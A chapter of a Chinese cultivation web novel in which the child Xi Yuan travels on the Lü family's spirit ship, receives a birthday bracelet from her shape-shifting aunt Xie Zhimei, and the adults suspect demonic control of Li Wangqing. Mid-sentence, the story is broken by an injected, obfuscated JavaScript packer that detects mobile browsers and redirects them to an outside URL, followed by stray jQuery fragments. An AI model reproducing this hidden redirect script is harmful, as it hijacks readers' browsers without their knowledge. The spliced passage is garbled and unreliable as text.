是挺落后的,奚缘想,在知道自己的女儿有天赋后不是想着培养而是希望卖个好价钱,这样的世家能存在那么多年,只能说修仙界的大家还是太善良了。
难道真的以为联姻对象会因此关照他们吗?
秦归鹤又讲了些事,比如吕家的大女儿就是嫁到了于家:“被当面羞辱了还上赶着送个女儿……”
那可真是被扇了左脸还要把右脸凑过去。
奚缘都开始好奇这家的“下一代希望”是什么样的人了。
好在没过几天就能见上面。
临别时秦归鹤依依不舍,直叹下次见面不知道要等到什么时候了:“你生辰我也去不了,母亲师姨都要出门,太上宗总得留一个管事的……要不还是元宝留在这吧,过些年我给你整个宗主做做。”
奚缘相信她能做到,秦归鹤和两位长辈的感情深厚,远不是现宗主才几岁的徒弟能比拟的,但奚缘还是婉拒了,如前面所说,她对太上宗真的有心理阴影,在李忘情的茶室尤甚。
虽然不记得发生了什么,但总觉得痛彻心扉啊。
奚缘安抚性地给秦归鹤塞了一把灵石,收获了一个贴贴和一只装满宝贝的镯子。
又是空手套白狼的一天。
奚缘陷入沉思,她前世是怎么把这些人都相处到死生不复相见的?
她还没想明白,就被莫等很故意地晃了两下,奚缘是一个很大方的小孩,你晃她她也不恼,只会招两下手然后无助地往后栽。
然后被莫等一手捞起来,奚缘抱着他的胳膊询问:“怎么了?”
“她怎么有一把,”莫等问,“而我只有一个?”
最后还倒贴了一个给奚缘。
诚如上面所说,奚缘是一个很大方的小孩,她给莫等也抓了一把:“放哪?”
莫等另一只手往她抓得满满当当的手上放了枚戒指:“放你兜里吧。”
再次空手套白狼!从新家套到老家!
奚缘美滋滋地数起了灵石,虽然没多久数过和没数过的就混到一起了,但是看到那么多亮晶晶的灵石,就好幸福。
她盯着手上的灵石,突然用衣服擦了擦,眯着眼睛非常幸福地塞进了嘴里。
正在填登船信息的莫等:???
他手忙脚乱地把沾满口水的灵石掏出来,深深理解了一个事实——他根本不理解小孩子。
那么坚硬的灵石,居然被咬出了豁口,莫等敬佩地看向一脸无辜的小孩,只觉得她咬合力惊人。
“不能吃,”莫等把灵石捏碎,灵气逸散开来,他的眉头紧锁,“不知道被多少人碰过了,脏。”
奚缘听话点头,被很多人碰过的不能啃,她懂了。
他们登上了吕家的灵舟,比来时的那艘豪华得多,过往佣人仆从无不低眉顺眼,除了必要的话一言不发。
“规矩好严。”奚缘嘟囔着,她都没让手下这么严阵以待过。
吕家还是相当给太上宗面子的,奚缘他们的房间是整座飞舟除了主人那里最好的一间。
奚缘被抱着到了房间,她先是去看了温泉,又看了自己的大床,决定去跟莫等表达一下自己的满意程度,至于修炼的地方不好意思她视而不见。
她跑开的时候莫等还是一个人坐在客厅研究菜谱,等她回来时,莫等身边已经坐了一个奚缘不认识,但气味很熟悉的女人。
是带着冷冽梅香的温柔女人。
奚缘在她身上嗅到了小晴的味道,她看向莫等:“唔?”
后者终于从菜谱中回过神来,给迷茫的小孩子介绍:“谢枝梅。”
如果奚缘没重生她听到这个介绍已经晕过去了,但就算她重生了,这个脸和前世也对不上啊!
妈妈,有鬼故事啊!
奚缘惊恐地往莫等身后钻,被这位毫不犹豫地塞到了谢枝梅怀里。
奚缘瞪大眼睛,没法理解他明明前几天还不舍得把她还给师父的怎么今天就变了!男人的心思怎么那么难猜!
谢枝梅被奚缘愤怒又不敢说话的样子逗得直笑:“我是你五姨啊元宝,只是经常换脸而已啦。”
莫等不知道什么时候打开了玻璃纸,奚风远的声音从那头传出来:“我手下人喜欢换脸就是被你带坏的,每次叫他们都跟开盲盒一样。”
叫错了他还得端着,做出一副高深莫测的样子,也不知道糊弄过去没有。
奚缘听到熟悉的声音,直接伸长了脖子,可惜等她凑过去后,屏幕上已经没有她师父了。
“搁这签到呢,就出现那么一下,”谢枝梅嘲笑,“好了,说正经的。”
大人说正经事的时候,奚缘一般都是很乖巧地自己待着,顺便偷听,她抓起一把灵石放在桌子上,计划把它们堆成一座小山。
“吕家请我照看他们家的小孩几年,算是给归一宗的投名状吧,”谢枝梅说,“可惜这个小孩不如吕莹有天赋。”
奚缘竖起耳朵,那就是说吕家给的东西都在她这个五姨手里了?
似乎注意到奚缘的心不在焉,谢枝梅把一个镯子放上奚缘堆得高高的灵石上:“不过我也就是给元宝挣个生辰礼罢了。”
奚缘把那个和师父的戒指款式相似的金色镯子抓到手里,左右端详:“给我的吗?”
“你六岁的生辰礼,”谢枝梅笑,“拿去玩,可惜你五姨也是不思进取的,没什么宝贝送你。”
奚缘高兴地表达了感谢,然后突兀地问:“很多人碰过吗?”
“没有啊,怎么了?”谢枝梅不解,“给你的怎么可能让别人碰……”
“捂她嘴。”莫等头也不抬地命令。
谢枝梅还没来得及给她这个以下犯上的弟弟一个脑瓜崩,手先下意识地给奚缘捂住了。
然后她就感觉到一个冰凉的东西硌着自己的手背,低头一看,好嘛,是自己刚送出去的镯子。
“这是要往嘴里塞吗?”她哭笑不得,“这个不能吃啊……还是说元宝到了换牙的年纪了?”
“六岁也确实该换牙了,”她陷入回忆,“以前……我娘告诉我,换下的下牙丢在屋顶,上牙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151510|163219||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
藏在床底,新的牙齿会长得整整齐齐。”
奚缘用脑袋蹭了蹭谢枝梅,她大概能猜到后面发生了什么,生离死别不外如是。
“换牙说明我们元宝长大了啊,”她摸摸奚缘的头发,面色一变,“灯灯你怎么梳的头,要打结了。”
莫等非常无辜:“她新姐姐梳的。”
根本轮不到他啊,他也想给奚缘拆了重新梳个发型,但奚缘宝贝得很,根本不让他碰。
那好吧,谢枝梅从善如流地转移了话题:“太上宗怎么同意金玉满堂在她们的地盘开展活动了?你在于家做的事把她们吓到了?”
这也太夸张了吧,不就没了个问题很大的家族,李忘情有那么脆弱么?再说元宝新认的这个养母,比起突然母爱泛滥,更像是为了加强与金玉满堂的联系。
简单来说,就像是她们的把柄落到元宝一行人手里了。
“没有,”莫等给她讲了他们这些日子经历的事,着重强调了于家和李忘情的关系,“就这样。”
“嗯……”谢枝梅陷入沉思,“李忘情也是被杀妻证道的啊,不过我们之间不太一样。”
谢枝梅是真的死了,只剩下一抹孤魂,龙女晴伏杀了她的“夫”,沈玉妖塑了她的身,寄云烟聚起她的魂,为她的新身体安上仇人的灵根,这具身体算不上活着,所以她可以随便改模样和身形。
总的来说,她现在非常适合搞栽赃陷害。
“寄云烟和我说过,她作为开启这个仪式的人可以一定程度上控制我,想来李忘情也是遇到这个问题,”谢枝梅细细思考,“这是龙族秘法啊……”
“龙族秘法,也可能落在魔族手中,”玻璃纸另一边传来龙女晴清冷的声音,“更可能的是,同流合污。”
奚缘猛地抬头望向屏幕,这次里面的人没有消失了,龙女晴眉眼间带了几分不易察觉的温柔,向着屏幕伸出手。
奚缘把手贴上去,欢快地叫她:“小晴!”
“元宝在外面玩得开心吗?”屏幕里的人问。
“还可以啦,就是想你了。”
“上次寒毒发作,实在是不能和你见面,”龙女晴的面色苍白,“再过几日我来找你。”
“不用不用,”奚缘摇头,“我可以等哒!”
她也不是不知道龙女晴的身体,因为伤得太重必须在寒潭泡着,又因为泡了太久患上寒毒,受了很多年的罪,不然也不至于放弃了剑首之位。
“李忘情可能被魔族控制?”谢枝梅面色难看,“那就说得通了,难怪迟迟不让金玉满堂进驻。”
“也可能单纯讨厌奚风远。”莫等冷不丁插一句话。
谢枝梅沉默了,确实,也不能排除这个可能性,毕竟奚风远某种意义上真的是人嫌狗厌。
再加上奚风远当年跟他们一起把太上宗得罪了个大的,就算现在退居二线了,也不代表人家必须原谅他。
“看来她们要在元宝生辰送上一份充满诚意的礼物了,”谢枝梅怜悯地笑了一下,“不然奚风远的嘴可没那么严。”